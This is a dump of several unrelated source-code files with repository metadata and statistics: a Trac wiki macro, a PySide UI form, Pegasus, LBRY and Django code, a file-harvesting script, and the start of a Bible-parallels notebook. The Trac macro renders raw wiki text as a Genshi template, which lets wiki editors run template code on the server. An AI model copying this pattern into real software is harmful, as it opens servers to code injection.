from genshi.template import MarkupTemplate from trac.core import * from trac.web.chrome import Chrome from trac.wiki.macros import WikiMacroBase class GenshiMacro(WikiMacroBase): def expand_macro(self, formatter, name, text, args): template = MarkupTemplate(text) chrome = Chrome(self.env) return template.generate(**chrome.populate_data(formatter.req, {}))

29.923077

75

0.742931

47

389

6.106383

0.595745

0.083624

0

0.164524

389

12

76

32.416667

0.883077

0

1

0.111111

false

0

0.444444

0

0.777778

0

null

0

null

0

1

0

1

a13f0a11b4555fcfbf9c924b7e7de9f674331ec4

8,678

py

Python

src/_sever_qt4.py

Joy917/fast-transfer

dfbcf5c4239da3d550b721500dff05fb6d40b756

[ "MIT" ]

null

src/_sever_qt4.py

Joy917/fast-transfer

dfbcf5c4239da3d550b721500dff05fb6d40b756

[ "MIT" ]

null

src/_sever_qt4.py

Joy917/fast-transfer

dfbcf5c4239da3d550b721500dff05fb6d40b756

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'D:\SVNzhangy\fast-transfer\src\_sever.ui' # # Created by: PyQt4 UI code generator 4.11.4 # # WARNING! All changes made in this file will be lost! from PySide import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_Form(object): def setupUi(self, Form): Form.setObjectName(_fromUtf8("Form")) Form.resize(798, 732) self.gridLayout = QtGui.QGridLayout(Form) self.gridLayout.setObjectName(_fromUtf8("gridLayout")) self.groupBox_2 = QtGui.QGroupBox(Form) self.groupBox_2.setObjectName(_fromUtf8("groupBox_2")) self.verticalLayout_2 = QtGui.QVBoxLayout(self.groupBox_2) self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2")) self.horizontalLayout = QtGui.QHBoxLayout() self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout")) spacerItem = QtGui.QSpacerItem(20, 20, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem) self.checkBox_time = QtGui.QCheckBox(self.groupBox_2) self.checkBox_time.setObjectName(_fromUtf8("checkBox_time")) self.horizontalLayout.addWidget(self.checkBox_time) self.dateTimeEdit_start = QtGui.QDateTimeEdit(self.groupBox_2) self.dateTimeEdit_start.setDateTime(QtCore.QDateTime(QtCore.QDate(2017, 1, 1), QtCore.QTime(0, 0, 0))) self.dateTimeEdit_start.setCalendarPopup(True) self.dateTimeEdit_start.setObjectName(_fromUtf8("dateTimeEdit_start")) self.horizontalLayout.addWidget(self.dateTimeEdit_start) self.label_2 = QtGui.QLabel(self.groupBox_2) self.label_2.setObjectName(_fromUtf8("label_2")) self.horizontalLayout.addWidget(self.label_2) self.dateTimeEdit_end = QtGui.QDateTimeEdit(self.groupBox_2) self.dateTimeEdit_end.setDateTime(QtCore.QDateTime(QtCore.QDate(2018, 1, 1), QtCore.QTime(0, 0, 0))) self.dateTimeEdit_end.setCalendarPopup(True) self.dateTimeEdit_end.setObjectName(_fromUtf8("dateTimeEdit_end")) self.horizontalLayout.addWidget(self.dateTimeEdit_end) spacerItem1 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum) self.horizontalLayout.addItem(spacerItem1) self.verticalLayout_2.addLayout(self.horizontalLayout) self.horizontalLayout_3 = QtGui.QHBoxLayout() self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3")) spacerItem2 = QtGui.QSpacerItem(20, 20, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem2) self.checkBox_ip = QtGui.QCheckBox(self.groupBox_2) self.checkBox_ip.setObjectName(_fromUtf8("checkBox_ip")) self.horizontalLayout_3.addWidget(self.checkBox_ip) self.lineEdit_ip = QtGui.QLineEdit(self.groupBox_2) self.lineEdit_ip.setObjectName(_fromUtf8("lineEdit_ip")) self.horizontalLayout_3.addWidget(self.lineEdit_ip) spacerItem3 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.MinimumExpanding, QtGui.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem3) self.verticalLayout_2.addLayout(self.horizontalLayout_3) self.horizontalLayout_4 = QtGui.QHBoxLayout() self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4")) spacerItem4 = QtGui.QSpacerItem(20, 20, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Minimum) self.horizontalLayout_4.addItem(spacerItem4) self.checkBox_fuzzy = QtGui.QCheckBox(self.groupBox_2) self.checkBox_fuzzy.setObjectName(_fromUtf8("checkBox_fuzzy")) self.horizontalLayout_4.addWidget(self.checkBox_fuzzy) self.lineEdit_fuzzysearch = QtGui.QLineEdit(self.groupBox_2) self.lineEdit_fuzzysearch.setObjectName(_fromUtf8("lineEdit_fuzzysearch")) self.horizontalLayout_4.addWidget(self.lineEdit_fuzzysearch) spacerItem5 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum) self.horizontalLayout_4.addItem(spacerItem5) self.verticalLayout_2.addLayout(self.horizontalLayout_4) self.gridLayout.addWidget(self.groupBox_2, 1, 0, 1, 2) self.groupBox = QtGui.QGroupBox(Form) self.groupBox.setObjectName(_fromUtf8("groupBox")) self.verticalLayout = QtGui.QVBoxLayout(self.groupBox) self.verticalLayout.setObjectName(_fromUtf8("verticalLayout")) self.textBrowser_log = QtGui.QTextBrowser(self.groupBox) self.textBrowser_log.viewport().setProperty("cursor", QtGui.QCursor(QtCore.Qt.IBeamCursor)) self.textBrowser_log.setMouseTracking(True) self.textBrowser_log.setObjectName(_fromUtf8("textBrowser_log")) self.verticalLayout.addWidget(self.textBrowser_log) self.horizontalLayout_2 = QtGui.QHBoxLayout() self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2")) self.lineEdit_pagenumStart = QtGui.QLineEdit(self.groupBox) self.lineEdit_pagenumStart.setMaximumSize(QtCore.QSize(50, 16777215)) self.lineEdit_pagenumStart.setObjectName(_fromUtf8("lineEdit_pagenumStart")) self.horizontalLayout_2.addWidget(self.lineEdit_pagenumStart) self.label_3 = QtGui.QLabel(self.groupBox) self.label_3.setMaximumSize(QtCore.QSize(20, 16777215)) self.label_3.setObjectName(_fromUtf8("label_3")) self.horizontalLayout_2.addWidget(self.label_3) self.lineEdit_pagenumEnd = QtGui.QLineEdit(self.groupBox) self.lineEdit_pagenumEnd.setMaximumSize(QtCore.QSize(50, 16777215)) self.lineEdit_pagenumEnd.setObjectName(_fromUtf8("lineEdit_pagenumEnd")) self.horizontalLayout_2.addWidget(self.lineEdit_pagenumEnd) spacerItem6 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum) self.horizontalLayout_2.addItem(spacerItem6) self.pushButton_pageup = QtGui.QPushButton(self.groupBox) self.pushButton_pageup.setObjectName(_fromUtf8("pushButton_pageup")) self.horizontalLayout_2.addWidget(self.pushButton_pageup) self.pushButton_pagedown = QtGui.QPushButton(self.groupBox) self.pushButton_pagedown.setObjectName(_fromUtf8("pushButton_pagedown")) self.horizontalLayout_2.addWidget(self.pushButton_pagedown) self.verticalLayout.addLayout(self.horizontalLayout_2) self.gridLayout.addWidget(self.groupBox, 0, 0, 1, 2) self.horizontalLayout_5 = QtGui.QHBoxLayout() self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5")) self.label_notice = QtGui.QLabel(Form) self.label_notice.setMinimumSize(QtCore.QSize(600, 0)) self.label_notice.setObjectName(_fromUtf8("label_notice")) self.horizontalLayout_5.addWidget(self.label_notice) spacerItem7 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum) self.horizontalLayout_5.addItem(spacerItem7) self.pushButton_check = QtGui.QPushButton(Form) self.pushButton_check.setObjectName(_fromUtf8("pushButton_check")) self.horizontalLayout_5.addWidget(self.pushButton_check) self.gridLayout.addLayout(self.horizontalLayout_5, 2, 0, 1, 2) self.retranslateUi(Form) QtCore.QMetaObject.connectSlotsByName(Form) def retranslateUi(self, Form): Form.setWindowTitle(_translate("Form", "LogManager", None)) self.groupBox_2.setTitle(_translate("Form", "Search Setting", None)) self.checkBox_time.setText(_translate("Form", "time：", None)) self.label_2.setText(_translate("Form", "-----", None)) self.checkBox_ip.setText(_translate("Form", "IP： ", None)) self.checkBox_fuzzy.setText(_translate("Form", "fuzzy：", None)) self.groupBox.setTitle(_translate("Form", "Log Display", None)) self.label_3.setText(_translate("Form", "---", None)) self.pushButton_pageup.setText(_translate("Form", "page up ", None)) self.pushButton_pagedown.setText(_translate("Form", "page down", None)) self.label_notice.setText(_translate("Form", "Notice:", None)) self.pushButton_check.setText(_translate("Form", "Check", None))

58.635135

110

0.735999

931

8,678

6.663802

0.161117

0.122502

0.02724

0.024662

0.39813

0.305287

0.208897

0.135074

0.124758

0

0.029596

0.155105

8,678

147

111

59.034014

0.816558

0.024314

0

0.045113

1

0

0.062537

0.002483

0

1

0.037594

false

0

0.007519

0.022556

0.075188

0

null

0

1

0

null

0

1

a146f1a5836a0723e015b88316d930723a68dc51

1,464

py

Python

share/pegasus/init/split/daxgen.py

fengggli/pegasus

b68f588d90eb2b832086ed627d61414691f8ba95

[ "Apache-2.0" ]

null

share/pegasus/init/split/daxgen.py

fengggli/pegasus

b68f588d90eb2b832086ed627d61414691f8ba95

[ "Apache-2.0" ]

null

share/pegasus/init/split/daxgen.py

fengggli/pegasus

b68f588d90eb2b832086ed627d61414691f8ba95

[ "Apache-2.0" ]

null

#!/usr/bin/env python import os import pwd import sys import time from Pegasus.DAX3 import * # The name of the DAX file is the first argument if len(sys.argv) != 2: sys.stderr.write("Usage: %s DAXFILE\n" % (sys.argv[0])) sys.exit(1) daxfile = sys.argv[1] USER = pwd.getpwuid(os.getuid())[0] # Create a abstract dag dax = ADAG("split") # Add some workflow-level metadata dax.metadata("creator", "%s@%s" % (USER, os.uname()[1])) dax.metadata("created", time.ctime()) webpage = File("pegasus.html") # the split job that splits the webpage into smaller chunks split = Job("split") split.addArguments("-l","100","-a","1",webpage,"part.") split.uses(webpage, link=Link.INPUT) # associate the label with the job. all jobs with same label # are run with PMC when doing job clustering split.addProfile( Profile("pegasus","label","p1")) dax.addJob(split) # we do a parmeter sweep on the first 4 chunks created for c in "abcd": part = File("part.%s" % c) split.uses(part, link=Link.OUTPUT, transfer=False, register=False) count = File("count.txt.%s" % c) wc = Job("wc") wc.addProfile( Profile("pegasus","label","p1")) wc.addArguments("-l",part) wc.setStdout(count) wc.uses(part, link=Link.INPUT) wc.uses(count, link=Link.OUTPUT, transfer=True, register=True) dax.addJob(wc) #adding dependency dax.depends(wc, split) f = open(daxfile, "w") dax.writeXML(f) f.close() print "Generated dax %s" %daxfile

25.684211

70

0.672814

230

1,464

4.282609

0.482609

0.032487

0.026396

0.058883

0.062944

0

0.011438

0.163934

1,464

56

71

26.142857

0.793301

0.240437

0

0.13146

0

null

0

0.142857

null

0.028571

0

null

0

null

0

1

0

1

a147e22d5aeaabe35ccc4c56ea5539f536e24407

3,685

py

Python

lbrynet/wallet/ledger.py

ttkopec/lbry

03415415ed397730e6f691f527f51b429a834ed5

[ "MIT" ]

null

lbrynet/wallet/ledger.py

ttkopec/lbry

03415415ed397730e6f691f527f51b429a834ed5

[ "MIT" ]

110

2018-11-26T05:41:35.000Z

2021-08-03T15:37:20.000Z

lbrynet/wallet/ledger.py

ttkopec/lbry

03415415ed397730e6f691f527f51b429a834ed5

[ "MIT" ]

1

2018-09-20T22:15:59.000Z

import logging from six import int2byte from binascii import unhexlify from twisted.internet import defer from .resolve import Resolver from lbryschema.error import URIParseError from lbryschema.uri import parse_lbry_uri from torba.baseledger import BaseLedger from .account import Account from .network import Network from .database import WalletDatabase from .transaction import Transaction from .header import Headers, UnvalidatedHeaders log = logging.getLogger(__name__) class MainNetLedger(BaseLedger): name = 'LBRY Credits' symbol = 'LBC' network_name = 'mainnet' account_class = Account database_class = WalletDatabase headers_class = Headers network_class = Network transaction_class = Transaction secret_prefix = int2byte(0x1c) pubkey_address_prefix = int2byte(0x55) script_address_prefix = int2byte(0x7a) extended_public_key_prefix = unhexlify('0488b21e') extended_private_key_prefix = unhexlify('0488ade4') max_target = 0x0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff genesis_hash = '9c89283ba0f3227f6c03b70216b9f665f0118d5e0fa729cedf4fb34d6a34f463' genesis_bits = 0x1f00ffff target_timespan = 150 default_fee_per_byte = 50 default_fee_per_name_char = 200000 def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.fee_per_name_char = self.config.get('fee_per_name_char', self.default_fee_per_name_char) @property def resolver(self): return Resolver(self.headers.claim_trie_root, self.headers.height, self.transaction_class, hash160_to_address=self.hash160_to_address, network=self.network) @defer.inlineCallbacks def resolve(self, page, page_size, *uris): for uri in uris: try: parse_lbry_uri(uri) except URIParseError as err: defer.returnValue({'error': err.message}) resolutions = yield self.network.get_values_for_uris(self.headers.hash().decode(), *uris) return (yield self.resolver._handle_resolutions(resolutions, uris, page, page_size)) @defer.inlineCallbacks def get_claim_by_claim_id(self, claim_id): result = (yield self.network.get_claims_by_ids(claim_id)).pop(claim_id, {}) return (yield self.resolver.get_certificate_and_validate_result(result)) @defer.inlineCallbacks def get_claim_by_outpoint(self, txid, nout): claims = (yield self.network.get_claims_in_tx(txid)) or [] for claim in claims: if claim['nout'] == nout: return (yield self.resolver.get_certificate_and_validate_result(claim)) return 'claim not found' @defer.inlineCallbacks def start(self): yield super().start() yield defer.DeferredList([ a.maybe_migrate_certificates() for a in self.accounts ]) class TestNetLedger(MainNetLedger): network_name = 'testnet' pubkey_address_prefix = int2byte(111) script_address_prefix = int2byte(196) extended_public_key_prefix = unhexlify('043587cf') extended_private_key_prefix = unhexlify('04358394') class RegTestLedger(MainNetLedger): network_name = 'regtest' headers_class = UnvalidatedHeaders pubkey_address_prefix = int2byte(111) script_address_prefix = int2byte(196) extended_public_key_prefix = unhexlify('043587cf') extended_private_key_prefix = unhexlify('04358394') max_target = 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff genesis_hash = '6e3fcf1299d4ec5d79c3a4c91d624a4acf9e2e173d95a1a0504f677669687556' genesis_bits = 0x207fffff target_timespan = 1

34.12037

101

0.735414

408

3,685

6.345588

0.335784

0.037852

0.048667

0.02163

0.250676

0.17613

0.150637

0.108922

0

0.06091

0.189145

3,685

107

102

34.439252

0.805556

0

0.142857

0

0.068657

0.034735

0

0.044505

0

1

0.071429

false

0

0.154762

0.011905

0.72619

0

null

0

null

0

1

0

1

a1490edf966fa802ac0a01963e5d3d0e3138778b

5,091

py

Python

pyHarvest_build_151223/pyHarvest_Analyse_Data_v1.py

bl305/pyHarvest

d4c62d443ca657f9d31245c3c3f24c741cf2ae0b

[ "CC0-1.0" ]

null

pyHarvest_build_151223/pyHarvest_Analyse_Data_v1.py

bl305/pyHarvest

d4c62d443ca657f9d31245c3c3f24c741cf2ae0b

[ "CC0-1.0" ]

null

pyHarvest_build_151223/pyHarvest_Analyse_Data_v1.py

bl305/pyHarvest

d4c62d443ca657f9d31245c3c3f24c741cf2ae0b

[ "CC0-1.0" ]

null

# coding=utf-8 from packages import * import os #SET PARAMETERS myverbosity=-1 mymaxencode=5 TXT_filetypes=( #simple text files 'txt','lst', #config files 'ini','cfg', #programming languages 'c','cpp', #scripts 'vbs','py','pl') XLS_filetypes=('xls','xlsx') DOC_filetypes=('doc',) DOCX_filetypes=('docx',) PDF_filetypes=('pdf',) #TEMPLATE FILES myXLSpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\XLS\test.xlsx' myTXTpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\TXT\normal.txt' #myTXTpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\TXT\unicode.txt' #myTXTpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\TXT\unicode_big.txt' #myTXTpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\TXT\unicode_utf8.txt' #myTXTpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\TXT\x.txt' #myPDFpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\PDF\test.pdf' #myPDFpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\PDF\xtest.pdf' myPDFpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\PDF\ztest.pdf' myDOCpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\DOC\xtest.doc' myDOCXpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles\DOC\xtest.docx' mydirpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\AllTestFiles' #mydirpath=r'c:\LENBAL\Trainings\Securitytube_Python_Expert_PRIVATE\My_Network_Discovery_Project\Main_Program\DataGathered' #mypath=myTXTpath #mypath=myXLSpath #mypath=myPDFpath #mypath=myDOCpath #mypath=myDOCXpath #PROGRAM START def process_myfile(thepath,verbosity=0): #Select file type fileextension="" result=() if '.' in thepath: fileextension = thepath.rsplit('.', 1)[1] if fileextension in DOC_filetypes: doc_match=doc_full_search_tuple(thepath,myverbosity) if doc_match: result+=(doc_match,'doc') if verbosity>1: print doc_match elif fileextension in DOCX_filetypes: docx_match=docx_full_search_tuple(thepath,myverbosity) if docx_match: result+=(docx_match,'docx') if verbosity>1: print docx_match elif fileextension in XLS_filetypes: #PROCESS XLS #xls_match=xls_full_search_tuple(thepath,verbosity=myverbosity) xls_match=xls_full_search_tuple(thepath,myverbosity) if xls_match: result+=(xls_match,'xlsx') if verbosity>1: print xls_match #print xls_match[-1] elif fileextension in PDF_filetypes: pdf_match=pdf_full_search_tuple(thepath,myverbosity) if pdf_match: result+=(pdf_match,'pdf') if verbosity>1: print pdf_match #print pdf_match[-1] elif fileextension in TXT_filetypes: #PROCESS TXT #txt_match=txt_full_search_tuple(thepath,maxencode=mymaxencode,verbosity=myverbosity) txt_match=txt_full_search_tuple(thepath,mymaxencode,myverbosity) if txt_match: result+=(txt_match,'txt') if verbosity>1: print txt_match #print txt_match[-1] else: print "[-] UNKNOWN filetype",thepath return result def process_localdir(localdir,recursive=0): results=() if recursive==0: #files = [ f for f in os.listdir(localdir) if os.path.isfile(os.path.join(localdir,f)) ] for files in os.listdir(localdir): if os.path.isfile(os.path.join(localdir,files)): abspath=os.path.join(localdir,files) abspath = os.path.normpath(abspath).replace('//','/') #print abspath results+=(abspath,) else: for subdir, dirs, files in os.walk(localdir): for file in files: abspath=os.path.join(subdir,file) abspath = os.path.normpath(abspath).replace('//','/') #print abspath results+=(abspath,) return results #print "##########################Main Program Started##########################" #ANALYSE A SPECIFIC FILE #process_myfile(mypath) #ANALYSE ALL FILES IN A SPECIFIED DIRECTORY filesindir=process_localdir(mydirpath,1) Analysisconn, Analysisc = db_connect(Analysis_sqlite_file) create_host_db(Analysisconn, Analysis_create_script,print_out=False) filecount=len(filesindir) filecounter=1 if filecount==0: print "No files to analyse" for fn in range(len(filesindir)): mytext=process_myfile(filesindir[fn]) print "Analysing file %d/%d %s"%(filecounter,filecount,filesindir[fn]) filecounter+=1 if mytext: ftype=mytext[1] mytextdata=mytext[0] insert_analysis_data(Analysisc,Analysis_table_name,mytextdata,ftype,print_out=False) db_commit(Analysisconn) pass db_commit(Analysisconn) db_close(Analysisconn) print (raw_input('Press Enter to Exit!'))

36.891304

144

0.792772

698

5,091

5.537249

0.216332

0.039845

0.026908

0.05718

0.513842

0.495213

0.464683

0.43053

0.421475

0

0.004935

0.084463

5,091

138

145

36.891304

0.824287

0.316637

0

0.141304

0

0.25737

0.214033

0

null

0.01087

0.021739

null

0.119565

0

null

0

null

0

1

0

1

a1537d70484481dc31d44d35ec4975bba8b264f5

1,038

py

Python

product/migrations/0001_initial.py

dnetochaves/e-commerce

97c2266934b6db883d520381520130b0472e9db4

[ "MIT" ]

null

product/migrations/0001_initial.py

dnetochaves/e-commerce

97c2266934b6db883d520381520130b0472e9db4

[ "MIT" ]

null

product/migrations/0001_initial.py

dnetochaves/e-commerce

97c2266934b6db883d520381520130b0472e9db4

[ "MIT" ]

null

# Generated by Django 3.1.4 on 2020-12-27 15:03 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Product', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255)), ('short_description', models.TextField(max_length=255)), ('long_description', models.TextField()), ('image', models.ImageField(blank=True, null=True, upload_to='product_pictures/%Y/%m')), ('slug', models.SlugField(unique=True)), ('price_marketing', models.FloatField()), ('price_marketing_promotion', models.FloatField(default=0)), ('FIELDNAME', models.CharField(choices=[('V', 'Variação'), ('S', 'Simples')], default='V', max_length=1)), ], ), ]

35.793103

122

0.575145

104

1,038

5.615385

0.653846

0.046233

0.041096

0

0.030383

0.270713

1,038

28

123

37.071429

0.741083

0.043353

0

1

0

0.147326

0.047427

0

1

0

false

0

0.047619

0

0.238095

0

null

0

1

0

null

0

1

a155e11f0e425a96e53ea2166d51415855a2b463

921

py

Python

src/python/setup.py

Basasuya/tsne-cuda

dc518acd9fdf9109952ffe57d6cf12363e3ffd2c

[ "BSD-3-Clause" ]

2

2021-04-30T16:48:47.000Z

2021-05-21T08:49:13.000Z

src/python/setup.py

Basasuya/tsne-cuda

dc518acd9fdf9109952ffe57d6cf12363e3ffd2c

[ "BSD-3-Clause" ]

null

src/python/setup.py

Basasuya/tsne-cuda

dc518acd9fdf9109952ffe57d6cf12363e3ffd2c

[ "BSD-3-Clause" ]

1

2021-04-25T23:11:05.000Z

from setuptools import setup setup( name='tsnecuda', version='2.1.0', author='Chan, David M., Huang, Forrest., Rao, Roshan.', author_email='davidchan@berkeley.edu', packages=['tsnecuda', 'tsnecuda.test'], package_data={'tsnecuda': ['libtsnecuda.so']}, scripts=[], url='https://github.com/CannyLab/tsne-cuda', license='LICENSE.txt', description='CUDA Implementation of T-SNE with Python bindings', long_description=open('README.txt').read(), install_requires=[ 'numpy >= 1.14.1', ], classifiers=[ 'Programming Language :: Python :: 3.6', 'Operating System :: POSIX :: Linux', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'Topic :: Scientific/Engineering :: Artificial Intelligence' ], keywords=[ 'TSNE', 'CUDA', 'Machine Learning', 'AI' ] )

27.909091

68

0.598263

93

921

5.88172

0.827957

0.02925

0

0.012857

0.239957

921

32

69

28.78125

0.768571

0

0.066667

0

0.508143

0.047774

0

1

0

true

0

0.033333

0

0.033333

0

null

0

null

0

1

0

1

a15747184e94e78f55f7ab475ca0b1abe33741e3

107,889

py

Python

programs/parallels.py

ETCBC/parallells

f45f6cc3c4f933dba6e649f49cdb14a40dcf333f

[ "MIT" ]

4

2017-10-01T05:14:59.000Z

2020-09-09T09:41:26.000Z

programs/parallels.py

ETCBC/parallells

f45f6cc3c4f933dba6e649f49cdb14a40dcf333f

[ "MIT" ]

null

programs/parallels.py

ETCBC/parallells

f45f6cc3c4f933dba6e649f49cdb14a40dcf333f

[ "MIT" ]

1

2020-10-16T13:21:51.000Z

#!/usr/bin/env python # coding: utf-8 # <h1>Table of Contents</h1> # <div class="toc" style="margin-top: 1em;"><ul class="toc-item"><li><a href="#0.1-Motivation" data-toc-modified-id="0.1-Motivation-1">1  0.1 Motivation</a></li><li><a href="#0.3-Open-Source" data-toc-modified-id="0.3-Open-Source-2">2  0.3 Open Source</a></li><li><a href="#0.4-What-are-parallel-passages?" data-toc-modified-id="0.4-What-are-parallel-passages?-3">3  0.4 What are parallel passages?</a></li><li><a href="#0.5-Authors" data-toc-modified-id="0.5-Authors-4">4  0.5 Authors</a></li><li><a href="#0.6-Status" data-toc-modified-id="0.6-Status-5">5  0.6 Status</a></li><li><a href="#2.1-Assessing-the-outcomes" data-toc-modified-id="2.1-Assessing-the-outcomes-6">6  2.1 Assessing the outcomes</a><ul class="toc-item"><li><a href="#2.1.1-Assessment-criteria" data-toc-modified-id="2.1.1-Assessment-criteria-6.1">6.1  2.1.1 Assessment criteria</a></li></ul></li><li><a href="#3.1-Similarity" data-toc-modified-id="3.1-Similarity-7">7  3.1 Similarity</a><ul class="toc-item"><li><a href="#3.1.1-SET" data-toc-modified-id="3.1.1-SET-7.1">7.1  3.1.1 SET</a></li><li><a href="#3.1.2-LCS" data-toc-modified-id="3.1.2-LCS-7.2">7.2  3.1.2 LCS</a></li></ul></li><li><a href="#3.2-Performance" data-toc-modified-id="3.2-Performance-8">8  3.2 Performance</a></li><li><a href="#4.1-Chunking" data-toc-modified-id="4.1-Chunking-9">9  4.1 Chunking</a><ul class="toc-item"><li><a href="#4.1.1-Fixed-chunking" data-toc-modified-id="4.1.1-Fixed-chunking-9.1">9.1  4.1.1 Fixed chunking</a></li><li><a href="#4.1.2-Object-chunking" data-toc-modified-id="4.1.2-Object-chunking-9.2">9.2  4.1.2 Object chunking</a></li></ul></li><li><a href="#4.2-Preparing" data-toc-modified-id="4.2-Preparing-10">10  4.2 Preparing</a></li><li><a href="#4.3-Cliques" data-toc-modified-id="4.3-Cliques-11">11  4.3 Cliques</a><ul class="toc-item"><li><a href="#4.3.1-Organizing-the-cliques" data-toc-modified-id="4.3.1-Organizing-the-cliques-11.1">11.1  4.3.1 Organizing the cliques</a></li><li><a href="#4.3.2-Evaluating-clique-sets" data-toc-modified-id="4.3.2-Evaluating-clique-sets-11.2">11.2  4.3.2 Evaluating clique sets</a></li></ul></li><li><a href="#5.1-Loading-the-feature-data" data-toc-modified-id="5.1-Loading-the-feature-data-12">12  5.1 Loading the feature data</a></li><li><a href="#5.2-Configuration" data-toc-modified-id="5.2-Configuration-13">13  5.2 Configuration</a></li><li><a href="#5.3-Experiment-settings" data-toc-modified-id="5.3-Experiment-settings-14">14  5.3 Experiment settings</a></li><li><a href="#5.4-Chunking" data-toc-modified-id="5.4-Chunking-15">15  5.4 Chunking</a></li><li><a href="#5.5-Preparing" data-toc-modified-id="5.5-Preparing-16">16  5.5 Preparing</a><ul class="toc-item"><li><a href="#5.5.1-Preparing-for-SET-comparison" data-toc-modified-id="5.5.1-Preparing-for-SET-comparison-16.1">16.1  5.5.1 Preparing for SET comparison</a></li><li><a href="#5.5.2-Preparing-for-LCS-comparison" data-toc-modified-id="5.5.2-Preparing-for-LCS-comparison-16.2">16.2  5.5.2 Preparing for LCS comparison</a></li></ul></li><li><a href="#5.6-Similarity-computation" data-toc-modified-id="5.6-Similarity-computation-17">17  5.6 Similarity computation</a><ul class="toc-item"><li><a href="#5.6.1-SET-similarity" data-toc-modified-id="5.6.1-SET-similarity-17.1">17.1  5.6.1 SET similarity</a></li><li><a href="#5.6.2-LCS-similarity" data-toc-modified-id="5.6.2-LCS-similarity-17.2">17.2  5.6.2 LCS similarity</a></li></ul></li><li><a href="#5.7-Cliques" data-toc-modified-id="5.7-Cliques-18">18  5.7 Cliques</a></li><li><a href="#5.7.1-Selecting-passages" data-toc-modified-id="5.7.1-Selecting-passages-19">19  5.7.1 Selecting passages</a></li><li><a href="#5.7.2-Growing-cliques" data-toc-modified-id="5.7.2-Growing-cliques-20">20  5.7.2 Growing cliques</a></li><li><a href="#5.8-Output" data-toc-modified-id="5.8-Output-21">21  5.8 Output</a><ul class="toc-item"><li><a href="#5.8.1-Format-definitions" data-toc-modified-id="5.8.1-Format-definitions-21.1">21.1  5.8.1 Format definitions</a></li><li><a href="#5.8.2-Formatting-clique-lists" data-toc-modified-id="5.8.2-Formatting-clique-lists-21.2">21.2  5.8.2 Formatting clique lists</a></li><li><a href="#5.8.3-Compiling-the-table-of-experiments" data-toc-modified-id="5.8.3-Compiling-the-table-of-experiments-21.3">21.3  5.8.3 Compiling the table of experiments</a></li><li><a href="#5.8.4-High-level-formatting-functions" data-toc-modified-id="5.8.4-High-level-formatting-functions-21.4">21.4  5.8.4 High level formatting functions</a></li></ul></li><li><a href="#5.9-Running-experiments" data-toc-modified-id="5.9-Running-experiments-22">22  5.9 Running experiments</a></li><li><a href="#Discussion" data-toc-modified-id="Discussion-23">23  Discussion</a></li></ul></div> # <img align="right" src="images/dans-small.png"/> # <img align="right" src="images/tf-small.png"/> # <img align="right" src="images/etcbc.png"/> # # # # Parallel Passages in the MT # # # 0. Introduction # # ## 0.1 Motivation # We want to make a list of **all** parallel passages in the Masoretic Text (MT) of the Hebrew Bible. # # Here is a quote that triggered Dirk to write this notebook: # # > Finally, the Old Testament Parallels module in Accordance is a helpful resource that enables the researcher to examine 435 sets of parallel texts, or in some cases very similar wording in different texts, in both the MT and translation, but the large number of sets of texts in this database should not fool one to think it is complete or even nearly complete for all parallel writings in the Hebrew Bible. # # Robert Rezetko and Ian Young. 